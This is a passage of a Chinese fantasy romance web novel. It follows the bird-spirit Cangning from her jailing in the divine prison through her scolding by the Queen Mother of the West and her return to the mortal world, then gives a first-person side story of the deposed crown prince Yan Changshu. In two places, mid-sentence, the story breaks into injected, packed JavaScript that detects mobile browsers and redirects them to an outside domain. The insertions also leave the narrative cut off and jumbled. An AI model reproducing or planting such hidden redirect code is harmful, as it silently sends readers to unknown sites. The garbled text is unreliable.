有烟,无雨。 “大人,莫怪。” 众神来到碎石间,却没有看见苍宁身影。 一片残石中,长戟断裂,金圈无力,被神刀砍断的缚神索忽然锁住其中几位,叫神无可动弹。 苍宁在山头轻笑一声:“你们几位不去为司命星君求情,倒是还想着我?” “大人,阔别多年,您还是精神奕奕。” “笑话,都与你们一般年轻样貌老态龙钟,还不如死了算了!” 苍宁无意和他们多聊,刚展开双翅,往三危山赶最后的路程,只觉日光仍是昏暗。 她抬头一看,一枚金圈从天而落,紧紧套住了她的腰身,随她变大而变大,随她变小而变小,竟然半分都无法逃脱。 这是三枚外的第四枚金圈! “知道大人警惕,留了个心眼。呵呵,大人挣扎的样子也很精神。”为首者慈眉善目,捻须笑道,“长书尊者与神界此行并不相干,大人放心蹲大牢便是。” 苍宁:“……” 35. 间章·一 大意了! 被关进神机庭之后,苍宁不得不大喊一声:大意了! 任她神刀如何劈砍,这牢房纹丝不动,她听见对面邋里邋遢的囚犯嗤笑一声。 苍宁挑眉:“你是何人?” “神机庭可不是你想进就进,想出就出的地方。” 那人说话声音一出来,苍宁啧啧称奇道:“哟,这不是我们的司命星君大人嘛。生活无聊了,给自己写上了蹲神机庭大牢这浓墨重彩的一笔啊。” 司命星君冷冷哼声。 天上人间时间并不相同,上回苍宁埋怨貔大虎来得晚,也确实冤枉。别看苍宁在人间玩了两个月,司命星君霁玉不过吃了几天牢饭。 这家伙一副生无可恋的模样,苍宁很是好奇他受了什么刑罚。 霁玉除了冷笑就是冷笑,爱答不理,苍宁报以冷笑。两个人一边一个哼,一边一个哈,冷笑不断,尔后一片静默。 苍宁一屁股坐下,抱手道:“小花的神魄,我收起来了。你怎么不哈了,不好笑了?” “她……在哪儿?” “哼哼,不告诉你。”苍宁冷笑,“我们玩一个游戏,按我的规则来。你若是叫我满意,我便大发慈悲告诉你。” 霁玉上下将她瞧着,不齿道:“你就是这样勾引长书尊者的?” 什么叫勾引?一开始分明是晏长书上赶子勾引她! 苍宁冷脸:“玩不起就闭嘴。” 静默半晌,霁玉出声:“你说。” “快问快答,不许说谎。”苍宁伸出食指,“一,神鬼有无命册。” “……有。” “二,我有无命册。” “曾经。” 曾经?曾经有,还是曾经没有?苍宁皱眉:“三,你是否对所有命册了如指掌。” “是。” “四,天帝杀我,是否由你落笔?” 霁玉眯着眼睛:“不是。” “五——” “四个够多了吧,大人。”霁玉打断她,“和尊者这么久以来,还这么任性,没学会为他人考虑?” “你说这话也是够搞笑的。再说了,非要提他做什么?你很嫉妒他?也是,他长得比你帅,性格比你好,能力比你强。你会嫉妒也正常,我的手下败将。” “你要是没有教养,我可以教教你。” “别以为自己写写命册就真是全天下的老天爷了,司命星君。”苍宁笑道,“你现在让我不满意,我不会告诉你。我说过,要按我的规则来。” 霁玉狠狠盯住她,气极反笑:“你知道你为什么会被抓来这里吗?因为你和你阿爹阿娘一样单纯可笑。” “你不是也在这儿吗?怎么,急了,说不过我开始攻击我阿爹阿娘?麻烦你不要和本瑞鸟说话,免得沾上我的瑞气。你过得不好,我才开心。” 话说到此,霁玉横眉冷对,不再言语。苍宁伸了一个懒腰,躺在牢中。 约莫一炷香后,霁玉嘲道:“苍宁,你蠢得令我发笑。给你最后一句忠告,你别太相信晏长书了。你以为他当真爱你?你只是他命中必须经过的一位路人,因果了然,真正的他不会驻足。你还去人世找他,真是笑话。你不知道佛修管这叫什么吗?强求。” 苍宁掏掏耳朵,打了个哈欠:“你管我呢,我一路走来,哪条路不是强求?你搞清楚点,是他自己来帮我的,我没求过他。这自然是我值得被帮助。你这么懂,他怎么没去帮你呢?” “你——” 她翻了个身,假寐以待。 不知时间几何,不知黑白昼夜,不知过了多久。 苍宁回想霁玉的话,暗暗蹙眉。 虚假的梦事事相反。 若综合起来,她苍宁的命册扑朔迷离,天帝要捉她回神界,也是天帝自己的意志。 若能回到三危山…… 她头上忽然有什么动起来,苍宁睁开,看见黑乎乎的墙壁上,闪着一对炯炯有神的眼睛。 【金子。】 她脑袋中忽然飘过一句话。 一双,又一双。 【金子——金子!】 一双接着一双,不断填满整个牢房,哗哗哗哗哗—— 【金子金子金子金子金子金子金子金子金子金子金子金子!】 苍宁摸到脑袋上的东西,拿出来一瞧,是有西王母口谕的叶片。那双缠着要金子的眼睛转移到了叶片上,眨巴眨巴,伸出一只毛茸茸带鳞片的手。 【请付给本大爷五十金。本大爷立刻带你到三危山。】 还怪有礼貌嘞。 苍宁无语道:【早去哪里了?】 【嘿嘿,那是另外的价钱。】 苍宁:“……” 【到了再给。】 眼睛们消失了。 死一般沉寂。 苍宁捏紧叶片。 【貔大虎?貔大虎!】 【滴嘟——请付给本大爷五十金。本大爷立刻带你到三危山。】 【我现在在牢里,使不上术法。到三危山必给你,放心,我从不说谎。】 【本大爷不信!不信!】 【你爱信不信。】 【你这是求人的态度嘛?!】 苍宁暗中冷哼:【你就是在我这里套金子。你这胆小貔貅,没点好处,没人撑腰,哪里会来?娘娘本就叫你来唤我的,你这是白赚五十金。你不领我回三危山,我看看你如何去娘娘交差。】 言及此,貔大虎眼睛大睁,怒吼道: 【可恶!以金子度貔貅之腹!】 话糙理不糙,苍宁只觉眨眼间,一阵无形的春风吹来,将她卷入叶片之中。 神机庭的狱里,静卧躺着的苍宁,瞬间消失。 - 苍宁还记得小时候在三危山长大的时日。 西王母并非她的生母,但管教她长大,算是亦师亦母。对三危山,她十分有感情。 跟随叶片瞬间来到东峙宫后,她脚还没有踩稳,林芝姐姐便把她按进天池水中,上上下下洗漱一番。 “姐姐,咕咚,姐姐!我自己来!” 林芝笑眯眯地转身出去,顺便带走了要钱的无礼貔貅。 苍宁脱下衣裳,浸在舒适的天池水中,终于感到放松。 她吐了好几个泡泡,化出鸟身,扑腾翅膀把自己每根羽毛洗干净。看水面多华贵的鸟毛,白青相交,在纯青色的青鸾一族中也是独一份的。 苍宁满意化为人形,林芝给她拿了织女的新衣裳,手一摸:“你脖子上什么印子?” 苍宁咬唇,眨巴两下眼睛。 林芝圆眼含笑,打趣道:“自己和娘娘解释去。” 这有什么好解释的? 西王母乃天地精气所化育,西华至妙之气凝聚。琼华之阙,光碧之堂,西王母头戴高冠,腰系五彩丝绦,配以长剑,雍容华贵,光华万千。 苍宁捂着自己的脖子走进去,貔大虎正以俊美人形向西王母控诉她的无情,仙侍们纷纷笑出声,苍宁摸摸脑袋,只觉这一切如真似幻。 阔别数百年,三危山似乎并无变化。时间从未侵蚀过这里,好似她还是和小时候一般,来这里听西王母的教诲,偷吃天女们准备的美味果子。 可惜后来她贬为鬼王之后,再没来过了。 苍宁想过很多久别重逢的场面,可没想到是这一种。 “捂着脖子做什么?” 苍宁放下来,笑道;“娘娘饶了我吧。” 饶?哪里饶的了她。 貔大虎声金俱下,把她在卍象图里的循环不知多少次的故事讲给西王母听。她怎么沉醉在卍象图中的幻梦里出不来,她怎么在梦里也压榨他,她怎么和晏长书滚到床榻上,晏长书怎么把修行万年的愿力都给了她,好让她从幻梦中清醒,有了同时斩破卍象图和镇魂塔两件神器的力量…… “……活生生把一条巨蛇——榨干了!成小细蛇了!” 滔滔不绝中,苍宁回嘴:“那是他乐意的。” 貔大虎道:“明明在卍象图中那般没心没肺,我哭都要嘲笑我,出来之后有心有肺了!知道心疼人了!非要报恩了!哪曾想五十金都不给我……娘娘啊,娘娘替我做主!” 西王母拍拍他的头:“好了。你们一个两个,没一个省心。我交代给你要办得又快又好,怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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苍宁咬唇:“哪有这样的。” “就是这样的。”西王母道,“苍宁,人无法阻止自己失去什么,你也同样如此。” “现在的命,还不是司命星君那个王八蛋写的劳什子故事!” “有无命册都一样,天地之道本如此。” “我偏不,我真想把神机庭都炸了!还有天帝,他要我死,难道我还真死给他看不成?”苍宁垂头,“我怎能让天帝如意?” “正因如此,故而让你留在三危山。你从未与长书尊者真正交谈,佛修清心寡欲,他在卍象图中也好,在人世也罢,都不是完全之体,所言所行,皆不可当真。你贸然行事,若事与愿违,凭你一腔心意,又该如何自处?” 这么说来,她还是从未认识过晏长书? 他说的做的,都当不了真? 苍宁黯然:“不是这样的……” “苍宁,动凡心,免不了要吃苦的。”西王母再叹,“青鸾一族至真至纯,你和你母亲可谓是像极。我不忍心,见你们母女同样为情所扰。” 苍宁一双眼眸如遇云霭:“娘亲也?不,我没有,我就是……” 就是报恩? 西王母很少说起娘亲的事,苍宁从来对爹娘一无所知。能说出这番话,意味着后果许是严重。 可苍宁不懂。 她就是想不明白。 分明是晏长书自己找上门的,自己来接近她的,怎么就全部成了她的痴心妄想? 司命星君这样说,西天的小罗汉这样说,貔大虎这样说,就连西王母娘娘也这样说。 晏长书敢说他没有半点私心,没有半分私念,全部都是为了修行,为了业果吗? 苍宁不服气道:“什么清心寡欲,你们都看错他了,他才不是你们想的那样。” “卍象图中乃虚假幻念,你怎可当真?投胎为人,更是放大了他的种种欲念,若非如此,怎谈得上修行?你想不明白?” “我不明白。我不明白的事情太多了。我不明白我为何会出生,也不明白我为何会被送进鬼界,更不明白晏长书为何要来帮我,还不明白天帝为何要杀我,何人给过我一个合理的解释!” 她咬唇,鸦羽般的眼睫轻颤着,变得苍白的脸颊上,唯有黑白分明的双眼似燃着一点火:“娘娘说得对,天地之道本如此。既然从不给我解释,那我偏要强求,我偏要证明我是对的,是他来招惹我的,是他——先对我有意的!” 36. 间章·二 轻山万重,金殿玉宇。 西王母痛斥苍宁醉心顽劣,不得仙家之妙,乃榔槺蠢物,罚她跪在高殿之上。 苍宁垂头跪着,脊背挺得笔直,林芝过来给他添了个软枕,放在膝盖下。 不抬头倒还好,任谁都觉得她铮铮烈骨似的,定是一派倔强。谁知林芝刚放好软枕,就瞧见她眼泪噼里啪啦往下落,下暴雨一样。 苍宁哭成这样,还是因为儿时把仙女采来的蟠桃摔了个稀巴烂,被西王母罚跪才有的光景。 林芝叹道:“大人当真如此爱慕尊者?” 苍宁勾着脑袋,眼泪汪汪,胡乱擦了把眼泪哼道:“谁爱慕他了,我,我就是想不通,怎么我做什么都是错的。” “谁说大人是错的?大人在鬼界待了这些年,在镇魂塔待了这些年,身上受的委屈,娘娘都看在眼里。”林芝道,“娘娘只是担心,大人这条路走的辛苦。若大人真要去闯,那纵使是娘娘,也拦不住。” 苍宁抱住林芝的腰身,眼泪还挂在鸦睫上,一颤颤的,叫人怜爱。她说道:“好姐姐,天帝此回,当真要杀我吗?” “万不可放心,卸下防备。” “可我答应了要回去,切不能做无情无义之人。” 林芝无言:“回哪儿去?” 苍宁掰着手指头:“一路过来,答应了给貔大虎五十金,答应了给一叫绮怜的鬼魂好生转世,答应了晏长书要回去找他。我不想言而无信。” 林芝:“说来说去,大人还是想去到长书尊者身边。” 苍宁嘟囔道:“他生得好看,我寻些快乐事,和从前一样罢了,哪有什么特别。” “真是乐子事儿么?不是报恩么?这次也是随着大人的性子,想到哪说到哪?” “反正——我是施恩图报的,一恩报一恩,一爱还一爱,我是这样的,如果不能立刻满足,我会觉得浪费了别人的好意。这都是相互的,又不是我一个人瞎想的。” “你也说了,你偏要,旁的有些人,也偏不要一报还一报呢。”林芝捂唇:“怪道娘娘说大人年纪小,凭着一腔意气用事,榔槺蠢物。” “现在连林芝姐姐也打趣了,骂我,不爱我了。”苍宁用林芝的衣裳擦眼泪,“算了,我干脆不活了,不活了。” 林芝抚摸她的头:“三危山乃大人的家,大人何需向娘娘证明什么?娘娘于大人亦师亦母,若用不着向娘娘证明什么,就更不必向旁人证明什么了。大人无需较劲,若能承受得住结果,只需一往无前便是了。” 苍宁吸吸鼻子。 “还在哭?” 苍宁点点头,又摇摇头:“平日里一颗眼泪都不会掉,不知怎么回到三危山来,和你们说了几句话,就要哭。我忍不住。” 不仅忍不住,还和儿时一样,要撒起娇来。 末了,她悄悄问道:“姐姐,我娘亲到底是什么样的人?” “万里挑一的温柔美人,心软的好人,让我叹惋的可怜人。” “我真的和我娘亲一样么?” 林芝食指点她额头:“大人是万里挑一的硬气美人,懵懂的好人。命好,二百年换万年修为,不过是多了点好奇心。倘若大人真要去撞墙,撞了才知道是南墙呢。大人,最重要的是要看清自己的心呀。” 林芝蹲下来,捧住她的脸,说道:“三危山一直在。管他什么天帝不天帝的,管他什么晏长书不晏长书的,管他命运如何,天道如何,大人若撞累了,就回来挨顿骂,哭一场,时间久了,凑合着也就好了。” 苍宁失笑:“好,都听姐姐的。” 西王母对苍宁到底心软。 苍宁跪了一日一夜,终于同意放她回人间。 走之前,西王母向她再三确认,这是否是她自己的选择,她一言不发,只是点头。 貔大虎领了五十金,又塞给她一枚草叶,苍宁摇头,说自己应当琢磨琢磨晏长书那卍字术法,轻易可以扭转时空,用不着再花五十金。 貔大虎还是塞给了她:“多条退路就是路。再说了,你根本不会用。” “好你个——你敢瞧不起我!”苍宁怒气噌得上来,一下子生龙活虎,提着刀就要砍貔貅,貔大虎一个跳过来,一个跳过去,比人间过年噼里啪啦舞狮子还热闹。 苍宁怒眸相向:真不知娘娘怎么请了这么个贪财活宝。 苍宁在神界不过少少几日,人间却已然发生翻天覆地的变化。 对于神明而言,凡人数十年,竟也像南柯一梦。 夕曛将尽,天际晕开一层层淡紫色,大雁飞过。 曾经绮怜的宫殿所在处,杂草丛生,偌大的王城,断壁残垣。 高珣的王朝,竟然已是前朝旧事。 苍宁走在青石板路上,心提紧着。大红宫墙内,白色吊纸悬挂在岣嵝老树上,飘飘摇摇。 待转过一个弯,就是清净寺了。 苍宁下意识跑起来。她还记得清净寺干干净净的模样,她推开歪歪斜斜的门,所见之物却令她触目惊心。 太阳落下去,昏暝四野。佛殿被烧得不成模样,庄严的佛像断了半身,看不见俯睨众生的慈悲目光,刀剑刺穿了神佛的眼睛,留下了一个漆黑的空洞。 黄昏中的灰尘游动着,苍宁再推开厢房的门,物是人非。 她慢慢走出房门,看着被落下的一切,心有戚戚然。 忽而,一个声音叫住了她。她回头一看,是烂在祭祀台上的绮怜。她的尸身溃烂不堪,虫蚁穿过,魄体却仍旧青春貌美,一如昨日。 但她看上去有点疲惫。 吊纸随晚风簌簌作响,绮怜蹲在自己的尸身旁边,撑着腮,眼中浮动着晶莹的光。 她自上而下望着她:“你真的回来了啊。” 苍宁眨了眨眼,还以为是自己的幻觉。 “神仙,原来你叫苍宁。” “绮怜……” “这么多年过去了,”她有一种丧失了所有力气,最后无可奈何的平静,“这么多年过去了……你怎么就回来了?” 苍宁给绮怜施过术法,好叫她不被当做孤魂野鬼抓走,现如今,因苍宁之前的离开,她便无法被无常带入地府,只能在这里游荡。 不待苍宁说话,绮怜又叹了口气,盯着自己尸身上的蛆虫,说道:“神仙,我们的交易还在吗?” “当然在,我回来是为了完成我的约定。你——” “这么多年,我还以为神佛都听不见呢,”她神经质地笑了一声,“神仙,我不想做人了,行不行?你让我进畜生道吧。” 苍宁蹙眉,极为不解:“为何?多少妖魔都想修炼成人,你此生辛苦,下一世定会平安无虞的。” 绮怜扒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030030|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉着自己的脊骨,指给她看:“神仙你看,这就是人。”她指着翻动的虫蚁,说道,“这是虫。我不想做人,也不想做虫。我都盘算好了,下辈子,我当一只小狸奴,最好是养在幸福人家里的三花小狸奴,不用想事,也活不了太久,这样也遇不到什么事,重点是,我会一辈子高高兴兴,受人疼爱,犯不着证明自己有什么价值。” “你觉得这比当人好?” “你是神,想来就来,想走就走,当然不知道。宫里的娘娘每日记挂着御猫,有些看的比自己命还重,最后它们死的时候,比我要受关注过了。为什么小狸奴生来就受人疼爱?我就不行?” 绮怜掰着手指头:“后来我想通了,我命不好。以前想的,也都错了。什么日子一定会好起来的,以后会有钱的,肯定会快乐的,不再用伺候男人的……这些想法,全都错了。从来没有实现过,一个都没有。 我爹死了,我弟死了,我的郎君死了,我娘为了不还债,不给我带来负担,也死了,我一个人,日子根本没有好起来。 但假如我从来都不是人,这些问题都不存在。其他的,我什么都不想想。就算狸奴死了,狸奴也不会想这些吧。所以,请神仙让我轮回进入畜生道,当一只人见人爱的小狸奴。” 绮怜说得诚恳,苍宁几乎没办法率先说出一个“不”字。 从来都是修炼化人,何曾听过人自愿放弃属于人的权利。 “这是你的选择?” “如果神佛真的能听见我的愿望,如果我和神仙的约定属实……” 苍宁转身。 苍宁作为鬼王的职责虽然已经被天帝卸下,但有些术法,怎么都不可能忘记。她伸手,蒸腾的法力织就一副幸福的画面,那是绮怜的下一世。 “你会过得很幸福的。” 绮怜摇头:“只是一段幸福时光而已。凡人有幸福,就有痛苦。” “有了,不足够吗?你要的不正是如此吗?” “如果把这生当做修行,我受过的苦足够让我下一世当一只幸运的狸奴,那我短短十几年的猫生中,就只有幸福,没有任何一段痛苦。这是我想要的,这才是我想要的。所以我率先放弃一切,包括做人的权利。” 绮怜漆黑的眼珠盯着她,道:“神仙,求您了。求求您。” 夜安静下来,没有一丝声音。 苍宁解开之前绮怜身上的术法,施下另外的术法,确保能够实现绮怜的愿望。 在白色的干净的温和的火焰中,绮怜渐渐消失,终于露出了一个笑容。 她看着苍宁说:“神仙,你让我想起一个故人。” 苍宁眉头微动:“什么人?” “陛下死后,国师成为了新的陛下,他下令重修庙宇,每日焚香沐浴,诚信祈祷。他在寻一个人,叫做苍宁,可是没有人见过她,也没有任何一个神明唤这个名字。 “直到叛军的一场大火,从清净寺烧起来,蔓延到整个王城,陛下推着轮椅在殿中大声哭喊他看见了神明。” “根本没有神明呢,苍宁。就算是陛下,也得不到青睐。他疯了。”绮怜笑了笑,“叛军进去的时候,只看见了被烧毁的佛像,还有一具焦黑的人骨。” 苍宁心一颤。 绮怜指着苍宁站着的地方:“喏,就在那儿。后来,他的尸身被扔去喂狗了。” 37. 第一世番外 听说我出生时,父亲观之九重栾宇有七彩佛光,是谓吉兆。 他与我母亲鹣鲽情深,立我为太子,名唤长书。 我因此成了王城中一人之下万人之上的存在。 母亲在我一两岁时,便带我在屏风后听朝。那时的王朝已然衰落,可父亲和母亲总相信来日必将能够扭转乾坤,给天地祖宗一个交代。 他们把希望,寄托在我的身上。 “长书啊,为君为臣,为国为民,切不可松泛了心思,放任自流。” “什么是放任自流?” “只关注自己的私心,却从不听他人劝导,没有任何约束。分不清是真是假,何是何非,醉生梦死,执迷不悟。”母亲告诫我,“事在人为。长书,你要尽你所能,做你能做的一切最好的事。” 父母之心,我明了,父母忠言,在我耳。我点了点头。 少时念书,最是吃苦。 三岁开始,不论春夏秋冬,天不亮宫人们便点了灯。若我贪恋不起,母亲便会寻一把戒尺,将我打得满地乱跑。 最后跑到少傅那儿,还得挨一顿打,父亲下朝时,看见我肿胀的手,只说活该。 晚起是有代价的,结果通常是晚归。所以,我很早就明白因果循迹。 我们的王朝成了这个样子,一定也有原因。 我还记得那是个傍晚,我早早下学,走在宫人刚擦拭好的青石板路上。空气中散发着某种花的香气,我的伴读说,这是兰花的香气。 “恭喜太子,有了弟弟。听闻他天生重瞳,是乃神人转世,陛下在王宫各处摆了兰美人喜爱的兰花,添添喜气。” 我却并不高兴。因为我感觉不到这位出生的弟弟与我有什么联系。 “他也能当太子么?” “只有殿下您,是太子。” “哦。”我心想,他大约不用背上祖宗的江山,也不用天不亮起床,更不用每日被父亲拷问功课,背不出就跪在祖宗牌位前吧。我叹气:“真好。” 伴读笑道:“太子殿下乃天潢贵胄,应当着眼于天下。” 从某种程度上来说,我很羡慕他。但我会做到我应当做的,努力去做正确的事。 稍大一些,高珣喜欢跟在我身后。他长得倒是可爱,可是咿咿呀呀的,说不清话。 我比他大几岁,只能去上学堂。有一次,他爬进我的书柜中,伴读把他背了过去,闹了个大笑话。我也因此被父亲斥责,说我是因为昨夜没温习,才没发现装了个娃娃,这定是我和伴读在玩耍。 母亲烧了三炷香,递给我:“当真没温习?” 我摇摇头,把香供奉到牌位前。 “儿臣在看别的书。” “什么书?” “阿娘落在我那儿的心经。读完之后,觉得心静。”我跪在蒲团上,背挺得笔直,“阿娘开始信神佛了么?” 母亲淡道:“随便看看罢了。” 母亲没有收走佛经。我确信,她和我都看过同一册书。 我日日夜夜读书,坏了脾胃,太子少傅见我精神不好,表现却好,特例要给我放一日假。 我摇头道:“我不放假。” “人如何能不休息?” “我不需要休息。” 父亲也没有在休息。时间也没有在休息。我不需要休息。 我和父亲母亲一样,希望能保住高家的江山,希望国运康盛,希望对得起列祖列宗。 这一切的一切,都是我们心里的希望。这点摸不着,看不到的希望,就如同一根根线,将我捆绑住,让我成为了希望的傀儡。 也许,不止是我。 母亲,开始拜佛了。 - 我十五岁那年,父亲不顾他人反对,在王城中修建了奢华的清净寺。 庙宇坐落在王城边角,背靠青山,可吸纳天地之灵气。 这一年香火旺盛,却是很坏的一年。 父亲一朝病重,朝中宦臣当道,各地不平之声日益壮大。 母亲终日礼佛,不闻不问。 兰美人殁了,送去陵中,父亲给她送了许多兰花。 高珣随我去骑马,不慎落下马匹,我的马儿马蹄划破了他的面颊,叫他终生残破。他因此戴上面具,不愿意以真面目对人。他说他不怪我,让我专心辅佐父亲。 “哥哥,当太子的滋味如何?” 我木着脸,站在廊下,总觉得天色昏暗,有一股莫名的阴气。 天暗下来了。 我能说不过尔尔吗?不能。 我叹气,笑道:“太子并非乐事。” 处理监国事务,并不轻松。我对一切心生愧疚,分身乏术。 父亲像是扛了许多年,终于发泄起来,欲求长生之法,日日生疑有人想要害他。他斩杀了送药的宫人,自己炼制丹药,又宠幸了佛殿里的药女,那药女怀了孕,他便伸手生生掏出胚胎,活活吃了下去。 所举非人,惨不忍睹。 母亲将药女安葬,红着眼跪在佛殿,对我说:“长书,你父皇疯了。” 我看见她伸手擦拭眼泪,可站在她面前时,却没看见她在流泪。 她的眼泪掉到哪里去了? 我答应她:“母后,我尽我所能,做我能做的一切最好的事。” 她摇头,只是摇头,末了,她捂着脸无声恸哭,脊背深深弯下去,额头碰到地面。 她失声道:“他们早就说过,你们高家疯癫,行径异人,生来就要灭亡,我原来不信……我,长书,我受不了你也会变成那样……” 我哽咽道:“母后,我不会的。” 她拍打着心口,起身挥倒了供台,瓜果、香炉掉了一地,含泪晕厥过去。 自此,我身后的线断了两根。 我劝导自己,这是必经的过程。既然我活着,希望便还存在。 勤恳的老臣忠言逆耳,不断被父亲贬谪。当朝的宦臣势力强盛,暗中勾结。我花了许久心力,方铲除一方势力。这么多年来,高珣一直在帮我,兄友弟恭,从未有过怨言。 可一人的皇位,算不得什么皇位。不过是当权者的玩具,不过是镜花水月,自欺欺人。 十八岁那年,我在一个雨夜被暗杀。 我竭力挡下致命一击,高珣赶来救我,将我送进殿中。 我饮下温酒,是为止痛,却不知这杯毒酒麻痹了我的神经,叫我无法行动。 当我醒来,高珣坐在我的榻边,榻下更是跪了一地的人,全在哭泣。我浑身无知无觉,大脑昏涨。 “皇兄,”高珣面上有泪,眼中却闪着极为狂热的光,“父皇,薨了。” 我心下一跳,哑声道:“什么?” 他掉下泪来:“父皇,薨了。” 他看见我的反应,反而笑起来,哈哈大笑,在床上,在地上打滚,眼泪一直不停地流:“这就是我的哥哥,我的皇兄,我们的太子!” 他忽然爬上来,拎起我的衣襟,让我看见自己的双腿,轻柔道:“可惜啊,你看,你的腿断了。你当不了太子了。” 他扬起笑,拍了拍我的脸,扒开自己的面具,丑陋的痊愈的痕迹像一条吸血的肉虫,爬在他的脸上。 他再次告诉我:“父皇薨了。没有陛下,也没有太子了。我的好兄长,一报还一报,今后,孤是唯一的天子。” - 真、善、诚。这些儿时的教诲在天家的阴谋和鲜血中一文不值,只能用来聊以□□。 十数年来,失去几乎全部的行动力之后,我曾奢求一死。 不是自轻自贱,而是不遂他人意。 母亲的佛经还在手中,我夜夜受噩梦煎熬,醒来时浑浑噩噩,双腿疼痛,总觉得既然还活着,便还有活法。 拧巴的活法,不能行走的活法,被侮辱的活法……我尝试接受。最后,也许我就这样凑合着平静下来了,到那时,我或许能窥见佛像真正的目光。 我断言高珣将死于三十岁。他形漫神秽,寻求长生,是个笑话。 夜里那回,我被高珣叫去殿中,他洋洋得意,告诉我他得了起死回生之人。 起死回生。 哼,我在心底冷笑。 若真能有起死回生,这个王朝,早就不是今天这样的颓势。 绮美人我见过两次,是个谨慎多思的,可这回,她的眼睛却滴溜溜直盯着瞧,仿佛什么都不怕似的,说话随心所欲。 后来,高珣又作同样的戏,将她扔在我身上。我困在清净寺多年,早不是人人崇敬的太子,多的是顺从高珣嫌恶我的,鄙夷不屑,嗤之以鼻,为乃多数。 可她仍是盯着瞧。 她在看什么呢? 我? 看我的表情? 高珣的剑划过来,那曾是太子礼器,如今沾着不知多少无辜的血,划破了我的脸。 我的脸颊麻木,滴落下大片的血。 我的衣服脏了。 高珣暴怒着拉开我的腰带,将她的手塞进来,她的手虚虚在其中一晃,并未碰到。 “你喜欢他?孤的好兄长,曾经的太子,现在不过是废人一个!现在他的脸也没了,什么都没了,只有孤拥有一切!” 她抓住了高珣的手,甜言蜜语,好似方才对他的愣神只是幻觉。 “奴婢只爱陛下。”她说,“ 陛下天生贵人,陛下可怜奴婢吧。” 回到清净寺中,我呆看了佛祖良久。直到我的皮肉扯动了脸上的伤痕,我才想起来,我这一身衣服并不洁净。 我脱了衣裳,将自己擦干净,却发现屋檐上有人窥视。 我无意和他人交谈,一是不愿多费口舌,二是不愿无辜之人受到我的牵连。可绮美人站在窗前,万般与我搭话,令人感到怪异。 我知晓清净寺落了锁。朱墙也高,绮美人没什么身手,如何能进来?什么起死回生,莫不是叫邪妖顶替了肉身,来王城作祟? 我硬生生关上窗,她啊呀一声,娇媚可怜。 “啊呀。疼~好疼啊~” “国师救救我~” 她说她有个朋友,喜欢佛理,要来请教,我忍无可忍:“娘娘,请自重。” 她在窗外吃吃地笑。 “她叫苍宁。” “叫苍宁,你要记住哦。” 我熄灭了灯。 - 对于一个孤立在庙宇的人而言,记住另一个人,是非常容易的事情。 可我总觉得,我见过苍宁。 那种灵眸绝朗的神情,我在那夜的绮美人身上见过。能穿过这带锁的门,轻车熟路地走到这里,证明她并非生客。 她偶尔做些令人匪夷所思的事情。比如让我喝香料水,企图齁死我。 我认真思考她这样做的目的。我和她说,我身旁的宫人都死了,她最好也离我远一点。我让她拿着这杯香料水去“交差”。 她却灵眸冒火,大骂高珣该死。 她说,她不走,我是她的姻缘。 我以为自己听错了。这王城中,竟还有人将他当做一个……不,总该不是这两个字。 她总该有其他目的。 比如,为了最后捅我一刀。 高珣的目的。 面对这一切,我很平静。坦然接受,坦然应对。 她常常盯着我看。 我转过脸,她便跳过来,再转过一侧,就又跳过来,像枝头上看热闹的小鸟。 她叽叽喳喳道:“好像快好了,快好了,伤疤没那么明显了。” 她喜欢邀功,得意洋洋:“晏长书,我是不是很厉害?很好?” 我避开她的眼神,冷声躲开她,想要回到自己的小世界里去。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15030031|162303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 清净寺很好。 我可以笼罩在菩萨的目光下,却不能抵御她的眼睛。 菩萨眼中有我,有这个世界,她的眼中,有这个世界下的我。 她在看我。 把我当做一个人,甚至一个男人。我因此变得痛苦,不再平静。 我所能做的好的事,是将她推离我的身边,可她比一般女郎更直白,喜欢就要,不喜欢就躲开,在人情世故方面,既大胆,又顿感。 “晏长书,你有什么不好意思的?” 她的神情刺痛了我。 我匆匆沐浴完,拖下自己的残腿,沾着水汽,蜷缩在床榻上。 我希望她再也不要回来。 不要在我身上浪费一点一滴的时间。 可眼见月亮高升,光华渐移,我无数次留意门口,直到她回来,钻进了被褥中。 我几乎要死了。 喘不过气。 她稀松平常,眨巴着眼睛,凑过来吻我。 …… …… 她的唇舌柔软香甜,我很快沉醉其中。 放任自流。 我死矣。 我死矣。 …… 她不是常人,我是知道的。 在她沉醉时,露出漂亮的羽毛,我会亲亲它们。 尔后,她会瞬间睁大眼,确认我不知晓。 我会装作不知晓。 她是妖吗? 是也没关系。 只要不是一场梦。 只要她还会来找我…… 每每她来找我,总是顽劣心重。 她喜欢折腾我,用各种法子,她喜欢听我哼出声。 我也许是为了这一刻的反应,才在她心里有了价值。 我开始思考我的用处。重新拥有佛经中要舍弃的功利心。 在旁人眼中,这显然很可笑,一朝太子沦为裙下臣。 可是我并没有任何不满意的资格。 我只是害怕、恐惧,我不愿意再回到没认识她的时候。 我想要听见她轻巧落在屋檐上的那一个小小的颤音,听见她轻快愉悦地装作从门前走来,然后对我说:“晏长书,你是不是特——别想我?” 特别想。 我控制不了自己的眼睛,控制不了苛责自己的心,更控制不了自己的私念、欲望、怒气,多年的平静如同笑话。 